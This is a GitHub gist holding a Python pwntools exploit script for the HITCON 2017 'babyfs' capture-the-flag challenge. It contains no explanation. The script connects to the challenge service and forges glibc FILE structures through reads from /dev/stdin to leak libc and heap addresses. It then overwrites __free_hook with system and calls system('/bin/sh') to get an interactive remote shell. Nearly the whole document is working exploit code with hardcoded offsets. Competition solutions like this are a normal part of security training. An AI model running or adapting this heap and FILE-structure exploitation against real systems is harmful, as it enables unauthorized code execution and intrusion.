-
-
Save NickStephens/b4d6dc0823734450fc856a3808bb045d to your computer and use it in GitHub Desktop.
hitcon 2017 babyfs solution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from pwn import * | |
#context.log_level = "DEBUG" | |
r = remote("localhost", 50216) | |
r = remote("52.198.183.186", 50216) | |
def doOpen(filename): | |
r.recvuntil("choice: ") | |
r.sendline("1") | |
r.recvuntil("Filename :") | |
r.sendline(filename) | |
mesg = r.recvuntil("\n") | |
if "Fileindex" in mesg: | |
return int(mesg.split(" : ")[1]) | |
return -1 | |
def doRead(index, length, content=None, wait=True): | |
r.recvuntil("choice: ") | |
r.sendline("2") | |
r.recvuntil("index :") | |
r.sendline(str(index)) | |
r.recvuntil("Size :") | |
if content: | |
length = len(content) | |
r.sendline(str(length)) | |
if content: | |
r.sendline(content) | |
if wait: | |
r.recvuntil("Done !") | |
def doWrite(index): | |
r.recvuntil("choice: ") | |
r.sendline("3") | |
r.recvuntil("index :") | |
r.sendline(str(index)) | |
out = r.recvuntil("Done !").split("\n")[-1] | |
return out[0] | |
def doClose(index, wait=True): | |
r.recvuntil("choice: ") | |
r.sendline("4") | |
r.recvuntil("index :") | |
r.sendline(str(index)) | |
if wait: | |
r.recvuntil("Done !") | |
stdinIndex = doOpen("/dev/stdin") | |
if doOpen("doesnotexist1234") != -1: | |
log.failure("could not allocate logger") | |
sys.exit(1) | |
log.info("/dev/stdin at index %d" % stdinIndex) | |
fake_file = "A" * 0x18 | |
fake_file += p64(0xfbad2688) | |
fake_file += p64(0) * 13 | |
fake_file += p64(1) | |
doRead(stdinIndex, 0, fake_file) | |
if doOpen("doesnotexist1234") != -1: | |
log.failure("could not reallocate logger bufs") | |
sys.exit(1) | |
fake_file = "B" * (0x20 - 1) # minus for left over newline | |
fake_file += p64(0xfffffff0) # flags | |
fake_file += p64(0) * 3 | |
fake_file += "\xff\xff" | |
#fake_file += p64(0) | |
#fake_file += p64(1) | |
#fake_file += p64(0) | |
#fake_file += "\xf0\xf0" | |
doRead(stdinIndex, 0, fake_file) | |
if doOpen("doesnotexist1234") != -1: | |
log.failure("could not trigger leak") | |
sys.exit(1) | |
data = r.recvuntil("5. Exit") | |
if len(data) < 400: | |
log.failure("leak failed to trigger only got %d bytes" % len(data)) | |
sys.exit(1) | |
print len(data) | |
print "data:", data.encode('hex') | |
# get leaks | |
#offsets 331 1454 | |
leak1= data.find("\x7e")-5 | |
print "leak1 index", leak1 | |
libc_leak = u64(data[leak1:leak1+6] + '\x00\x00') | |
print "libc_leak:", hex(libc_leak) | |
leak2 = data.find("\x56")-5 | |
if leak2 == -1: | |
leak2 = data.find("\x55")-5 | |
heap_leak = u64(data[leak2:leak2+6] + '\x00\x00') | |
print "leak2 index", leak2 | |
print "heap_leak:", hex(heap_leak) | |
raw_input("break fopenret 0x12D0 >") | |
stdinIndex2 = doOpen("/dev/stdin") | |
print "stdinindex2", stdinIndex2 | |
stdinIndex3 = doOpen("/dev/stdin") | |
print "stdinindex3", stdinIndex3 | |
libc_base = libc_leak-0x3bdec0 | |
free_hook = libc_base+0x3c3788 | |
print "free_hook", hex(free_hook) | |
fake_file = p64(0xfbad2489) + p64(free_hook)*7 + p64(free_hook+0x80) | |
#fake_file = "" | |
#for j in range(0x10): | |
# for i in range(256): | |
# if i == '\x7f' or j == '\x7f': | |
# continue | |
# fake_file += "BB" + chr(i) + chr(j) | |
doRead(stdinIndex2, 0, "/bin/sh\x00" + "A"*0x18 + fake_file, wait=False) | |
system = libc_base + 0x456A0 | |
# send system | |
doRead(stdinIndex3, 0, p64(system) + "A"*0x18) | |
# now close 1 (stdinIndex2) | |
doClose(stdinIndex2, wait=False) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment